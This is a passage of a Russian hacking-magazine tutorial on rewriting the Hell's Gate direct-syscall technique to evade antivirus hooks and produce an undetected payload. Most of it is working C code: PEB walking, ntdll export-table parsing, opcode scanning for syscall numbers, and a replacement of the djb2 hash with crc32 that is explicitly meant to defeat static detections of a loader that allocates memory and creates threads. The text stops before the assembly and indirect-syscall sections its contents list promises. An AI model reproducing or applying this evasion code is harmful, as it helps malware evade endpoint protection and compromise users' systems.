Врата ада. Переписываем Hell’s Gate и обходим антивирус

Содержание статьи

  • Что такое syscall
  • Техника поиска SSN
  • Изменение алгоритма хеширования
  • Изменение GetVxTableEntry
  • Изменение логики поиска сискола
  • Изменение asm-файла
  • Предварительный результат
  • Превращение в Indirect Syscall
  • Финальный вариант

Хо­чешь узнать, как обой­ти анти­вирус­ные прог­раммы с помощью сис­темных вызовов? Мы рас­кро­ем сек­реты этой зах­ватыва­ющей тех­ники, перепи­шем извес­тный инс­тру­мент, поп­рограм­миру­ем на ассем­бле­ре и поищем пат­терны в памяти, что­бы получить FUD-пей­лоад!
 

Что такое syscall

Мно­гие анти­вирус­ные про­дук­ты (да и некото­рые прог­раммы) любят ста­вить хуки. Я уже показы­вал ва­риант обхо­да хуков в User Mode через переза­пись биб­лиоте­ки ntdll.dll. Теперь изу­чим еще один спо­соб обхо­да ловушек — через сис­колы.

Сис­колы (они же сис­темные вызовы) — очень боль­шая и инте­рес­ная тема. Я пос­тарал­ся вкрат­це опи­сать, что это и зачем они нуж­ны. Если ты захочешь более глу­боко пог­рузить­ся в тему, ниже най­дешь нес­коль­ко полез­ных ссы­лок.

www

  • Direct Syscalls: A journey from high to low
  • Direct Syscalls vs Indirect Syscalls

Итак, сис­кол мож­но счи­тать переход­ной ста­дией меж­ду поль­зователь­ским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одно­го мира сис­темы в дру­гой. Если еще про­ще, то сис­кол — прос­то обра­щение к ядру.

Вы­зовы ядра край­не важ­ны для кор­рек­тно­го фун­кци­они­рова­ния сис­темы. Нап­ример, имен­но заложен­ные в ядре фун­кции поз­воля­ют соз­давать фай­лы. Каж­дый сис­кол однознач­но иден­тифици­рует­ся по сво­ему номеру. Этот номер называ­ется по‑раз­ному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сис­кола под­ска­зыва­ет ядру, что ему нуж­но делать. Он заносит­ся в регистр eax, пос­ле чего выпол­няет­ся инс­трук­ция syscall, которая осу­щест­вля­ет переход в режим ядра.

Как выг­лядит вызов сис­колов у раз­ных фун­кций

Проб­лема в том, что средс­тва защиты могут ста­вить хуки непос­редс­твен­но перед вызовом инс­трук­ции syscall. Нап­ример, как на сле­дующем скрин­шоте.

Инс­трук­ция jmp перед syscall

Это может сви­детель­ство­вать о наличии хука. Нич­то не меша­ет нам нап­рямую вызывать инс­трук­цию syscall из адресно­го прос­транс­тва сво­его про­цес­са, такая тех­ника называ­ется Direct Syscall. Мы даже можем обра­щать­ся к инс­трук­ции syscall, най­дя ее адрес в смап­ленной в наш про­цесс биб­лиоте­ке ntdll.dll (такая тех­ника называ­ется Indirect Syscall). Проб­лема лишь одна — нужен SSN. Без номера сис­кола, сох­ранен­ного в регис­тре eax, ничего не получит­ся.

 

Техника поиска SSN

SSN раз­лича­ется от сис­темы к сис­теме. Он зависит от вер­сии Windows. Есть отличная таб­лица акту­аль­ных сис­колов, но каж­дый раз хар­дко­дить SSN вооб­ще не вари­ант. Поэто­му дав­но при­дума­ны спо­собы динами­чес­ки дос­тавать номера сис­колов, а затем уже с эти­ми номера­ми выпол­нять Direct- или Indirect-вызовы.

Да­вай раз­берем один из самых извес­тных методов — Hell’s Gate, а затем перепи­шем его под Tartarus Gate.

Тех­ника обна­руже­ния SSN дос­таточ­но прос­та. Сна­чала, что­бы получить заг­ружен­ный в про­цесс адрес ntdll.dll, прог­рамма дос­тает адре­са TEB (Thread Environment Block), за ним PEB (Process Environment Block). А пос­ле извле­кает из таб­лицы PEB_LDR_DATA базовый адрес заг­рузки ntdll.dll.

PTEB RtlGetThreadEnvironmentBlock() {#if _WIN64 return (PTEB)__readgsqword(0x30);#else return (PTEB)__readfsdword(0x16);#endif}INT wmain() { PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) return 0x1; PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); ...}

Прог­рамма, зная базовый адрес заг­рузки биб­лиоте­ки, получа­ет адрес EAT (Export Address Table). В этой таб­лице содер­жатся адре­са всех экспор­тиру­емых из биб­лиоте­ки фун­кций.

BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { // Get DOS header PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return FALSE; } // Get NT headers PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { return FALSE; } // Get the EAT *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); return TRUE;}

Пос­ле успешно­го получе­ния всех адре­сов идет ини­циали­зация спе­циаль­ной струк­туры — струк­туры VX_TABLE.

typedef struct _VX_TABLE_ENTRY { PVOID pAddress; DWORD64 dwHash; WORD wSystemCall;} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;typedef struct _VX_TABLE { VX_TABLE_ENTRY NtAllocateVirtualMemory; VX_TABLE_ENTRY NtProtectVirtualMemory; VX_TABLE_ENTRY NtCreateThreadEx; VX_TABLE_ENTRY NtWaitForSingleObject;} VX_TABLE, * PVX_TABLE;

Таб­лица VX_TABLE сос­тоит из дру­гих струк­тур VX_TABLE_ENTRY. Внут­ри них будут запол­нены эле­мен­ты pAddress, dwHash и wSystemCall, которые отве­чают соот­ветс­твен­но за адрес нуж­ной фун­кции, хеш от име­ни фун­кции (он пот­ребу­ется для API Hashing) и номера сис­темно­го вызова.

Для обна­руже­ния сис­кола исполь­зует­ся фун­кция GetVxTableEntry(), но перед этим пред­варитель­но ини­циали­зиру­ется эле­мент dwHash опи­сан­ной выше струк­туры. Хеш рас­счи­тыва­ется заранее. Для это­го исполь­зует­ся алго­ритм djb2, вынесен­ный в отдель­ную фун­кцию.

VX_TABLE Table = { 0 };Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) return 0x1;

GetVxTableEntry() пар­сит EAT и обна­ружи­вает адрес нуж­ной фун­кции с помощью API Hashing.

if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { pVxTableEntry->pAddress = pFunctionAddress; ...

Пос­ле обна­руже­ния нуж­ной фун­кции ее адрес записы­вает­ся в таб­лицу, а затем ищет­ся номер сис­кола для этой фун­кции. Hell’s Gate ищет пат­терн, харак­терный для вызова сис­кола.

mov r10,rcx
mov rcx,<syscall number>

Так выг­лядит шаб­лон вызова сис­кола

Для это­го Hell’s Gate ска­ниру­ет память на наличие соот­ветс­тву­ющих опко­дов.

if (*((PBYTE)pFunctionAddress + cw) == 0x4c && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) { BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); pVxTableEntry->wSystemCall = (high << 8) | low; break;}

Оп­коды

Ес­ли пат­терн най­ден, начина­ется выч­ленение номера сис­кола. Для наг­ляднос­ти возь­мем сис­кол с «длин­ным» номером, нап­ример 10F. В дизас­сем­бле­ре уви­дим инте­рес­ную кар­тину.

Как выг­лядит номер сис­кола в памяти

Инс­трук­ция, сох­раня­ющая номер сис­кола в регистр eax, выг­лядит вро­де бы нор­маль­но, но если мы пос­мотрим вни­матель­нее, то уви­дим, что номер сис­кола пред­став­лен как бы в перевер­нутом виде.

B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00

Hell’s Gate зна­ет о таком поведе­нии сис­темы, поэто­му выч­леня­ет сис­колы с исполь­зовани­ем спе­циаль­ного алго­рит­ма.

BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);pVxTableEntry->wSystemCall = (high << 8) | low;break;

Ес­ли мы пос­тавим бряк на пред­послед­нюю строч­ку кода, то уви­дим, что в high попада­ет «вер­хняя» часть, а в low — «ниж­няя».

Но­мер сис­кола

Что выч­леня­ет Hell’s Gate

Со­ответс­твен­но, если алго­ритм выч­леня­ет SSN 10F, то перемен­ные ини­циали­зиру­ются как 0x1 и 0xF.

Ини­циали­зация и high, и low

В wSystemmCall заносит­ся зна­чение high со сдви­гом вле­во на 8 байт. Это при­водит к получе­нию из 0000 0001 зна­чения 1 0000 0000. Сле­дующим шагом выпол­няет­ся побито­вая опе­рация ИЛИ со зна­чени­ем 0000 1111 (0xF в дво­ичной сис­теме счис­ления), в резуль­тате мы получа­ем 1 0000 1111. А это, в свою оче­редь, рав­но 10F. 10F как раз и есть номер сис­кола.

Под­счет номера сис­кола

До­пол­нитель­но прог­рамма про­веря­ет, не ушли ли мы в поис­ке номера сис­кола слиш­ком далеко. Для это­го так­же исполь­зуют­ся опко­ды.

Dead Codes 

Изменение алгоритма хеширования

Нач­нем с того, что сме­ним алго­ритм djb2 на какой‑нибудь дру­гой, нап­ример на crc32h. Это нуж­но, что­бы из нашего пей­лоада про­пали некото­рые ста­тик‑детек­ты, осно­ван­ные на хешах исполь­зуемых нами имен WinAPI-фун­кций. Для это­го соз­дадим фун­кцию, реали­зующую логику по хеширо­ванию.

#define SEED 0xEDB88320...unsigned int crc32h(char* message) { int i, crc; unsigned int byte, c; const unsigned int g0 = SEED, g1 = g0 >> 1, g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5, g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1; i = 0; crc = 0xFFFFFFFF; while ((byte = message[i]) != 0) { crc = crc ^ byte; c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^ ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^ ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^ ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0); crc = ((unsigned)crc >> 8) ^ c; i = i + 1; } return ~crc;}

Ко­неч­но, мож­но было прос­то поменять SEED-зна­чение и рас­счи­тыва­емый хеш в фун­кции djb2(), но мы все‑таки решили пол­ноцен­но перепи­сать инс­тру­мент, а не баловать­ся, меняя перемен­ные.

Hash- и SEED-зна­чения

Для удобс­тва вызова и авто­мати­чес­кого при­веде­ния к нуж­ному типу соз­дадим мак­рос.

#define HASH(API) crc32h((char*)API)

Так как мы пока нез­накомы с Compile-Time API Hashing, напишем прог­рамму для перес­чета хешей от нуж­ных нам фун­кций.

#include <Windows.h>#include <stdio.h>#define SEED 0xEDB88320#define STR "_CRC32"unsigned int crc32h(char* message) { int i, crc; unsigned int byte, c; const unsigned int g0 = SEED, g1 = g0 >> 1, g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5, g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1; i = 0; crc = 0xFFFFFFFF; while ((byte = message[i]) != 0) { crc = crc ^ byte; c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^ ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^ ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^ ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0); crc = ((unsigned)crc >> 8) ^ c; i = i + 1; } return ~crc;}#define HASH(API) crc32h((char*)API)int main() { printf("#define %s%s t 0x%0.8X n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory")); printf("#define %s%s t 0x%0.8X n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory")); printf("#define %s%s t 0x%0.8X n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx")); printf("#define %s%s t 0x%0.8X n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject")); return 0;}

Но­вые хеши 

Изменение GetVxTableEntry

Как ты пом­нишь, фун­кция GetVxTableEntry() исполь­зует­ся для получе­ния номера сис­кола. Проб­лема в том, что вызыва­ется она далеко не один раз, но при каж­дом вызове идет пов­торный рас­чет всех нуж­ных адре­сов, что ска­зыва­ется на эффектив­ности работы прог­раммы. Пред­лагаю завес­ти отдель­ную струк­туру NTDLL_CONFIG, внут­ри которой будут содер­жать­ся все эти дан­ные. Их дос­таточ­но ини­циали­зиро­вать лишь еди­нож­ды, а затем мож­но прос­то обра­щать­ся к ним.

typedef struct _NTDLL_CONFIG{ PDWORD pdwArrayOfAddresses; PDWORD pdwArrayOfNames; PWORD pwArrayOfOrdinals; DWORD dwNumberOfNames; ULONG_PTR uModule;}NTDLL_CONFIG, *PNTDLL_CONFIG;// Глобальная переменная, которая будет все это хранитьNTDLL_CONFIG g_NtdllConf = { 0 };

Для ини­циали­зации дос­таточ­но один раз выз­вать фун­кцию InitNtdllConfigStructure().

BOOL InitNtdllConfigStructure() { // Получение peb PPEB pPeb = (PPEB)__readgsqword(0x60); if (!pPeb || pPeb->OSMajorVersion != 0xA) return FALSE; // Получение ntdll.dll (первый элемент. Нулевой — наша программа) PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); // Получение базового адреса загрузки ntdll.dll ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase); if (!uModule) return FALSE; // Получение DOS-хедера PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule; if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; // Получение NT-заголовков PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew); if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE; // Получение таблицы экспортов PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!pImgExpDir) return FALSE; // Инициализация всех элементов у глобальной переменной g_NtdllConf.uModule = uModule; g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames; g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames); g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions); g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals); // Проверка if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals) return FALSE; else return TRUE;}

Са­му фун­кцию GetVxTableEntry() сле­дует пере­име­новать в FetchNtSyscall(). Мы оста­вим все­го два парамет­ра: dwSysHash (хеш‑зна­чение от име­ни фун­кции, которую нуж­но засис­колить) и pNtSys — ука­затель на струк­туру NT_SYSCALL, которая будет содер­жать всю необ­ходимую информа­цию для осу­щест­вле­ния сис­кола.

typedef struct _NT_SYSCALL{ DWORD dwSSn; DWORD dwSyscallHash; PVOID pSyscallAddress;}NT_SYSCALL, *PNT_SYSCALL;

Фун­кцию InitNtdllConfigStructure() сле­дует вызывать из фун­кции FetchNtSyscall(). Пред­лагаю прос­то про­верять, ини­циали­зиро­ван ли эле­мент, содер­жащий базовый адрес заг­рузки ntdll.dll. Если нет, то вызыва­ем фун­кцию, если этот эле­мент уже име­ет какое‑то зна­чение, то вызов не тре­бует­ся. Алго­ритм для поис­ка сис­кола пока что не меня­ем.

BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) { if (!g_NtdllConf.uModule) { if (!InitNtdllConfigStructure()) return FALSE; } if (dwSysHash != NULL) pNtSys->dwSyscallHash = dwSysHash; else return FALSE; for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) { PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]); PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]); if (HASH(pcFuncName) == dwSysHash) { pNtSys->pSyscallAddress = pFuncAddress; WORD cw = 0; while (TRUE) { ...тут алгоритм поиска сискола... } cw++; } break; } } // Если что-то не инициализировалось, то все плохо if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL) return TRUE; else return FALSE;} 

Изменение логики поиска сискола

Hell’s Gate — один из прос­тей­ших спо­собов нахож­дения сис­кола. Проб­лема в том, что он прос­то про­бега­ет по памяти в одном нап­равле­нии, пыта­ясь обна­ружить сис­кол. К сожале­нию, в сов­ремен­ных реалиях этот вари­ант, мяг­ко говоря, не самый рабочий. Что меша­ет анти­вирус­ному про­дук­ту внес­ти некото­рые изме­нения? Нап­ример, добавить лиш­нюю инс­трук­цию, что­бы сло­мать поиск Hell’s Gate.

Не­изме­нен­ную пос­ледова­тель­ность без проб­лем получит­ся обна­ружить, но если мы прос­то добавим лиш­ние инс­трук­ции? Напом­ню, как выг­лядит пат­терн, который ищет сис­кол.

0x4c 0x8b 0xd1 0xb8 ... 0x00 0x00

Не­изме­нен­ный код

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *